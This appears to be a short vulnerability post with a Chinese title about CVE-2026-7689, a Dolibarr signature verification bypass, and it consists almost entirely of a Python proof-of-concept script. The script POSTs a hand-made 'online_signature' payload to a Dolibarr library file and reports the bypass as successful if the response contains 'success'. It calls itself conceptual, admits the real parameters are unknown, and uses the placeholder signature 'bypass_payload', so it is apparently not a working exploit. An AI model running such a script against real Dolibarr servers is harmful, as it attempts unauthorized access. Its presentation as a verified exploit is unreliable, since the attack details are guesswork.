CVE-2026-7689 Dolibarr签名验证绕过漏洞

# PoC for CVE-2026-7689: Dolibarr Signature Verification Bypass # This script demonstrates a conceptual bypass of the dol_verifyHash function. # The vulnerability allows remote attackers to bypass signature checks. import requests def exploit(target_url): # The vulnerable endpoint typically involves the online signature module endpoint = f"{target_url}/htdocs/core/lib/security.lib.php" # In a real scenario, specific parameters triggering the vulnerable function are needed. # Due to the 'improper verification', an empty or manipulated signature might be accepted. payload = { "module": "online_signature", "action": "verify", "data": "test_data", "signature": "bypass_payload" # Manipulated signature } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Exploit successful! Signature verification bypassed.") else: print("[-] Exploit failed or patch applied.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1/dolibarr" exploit(target)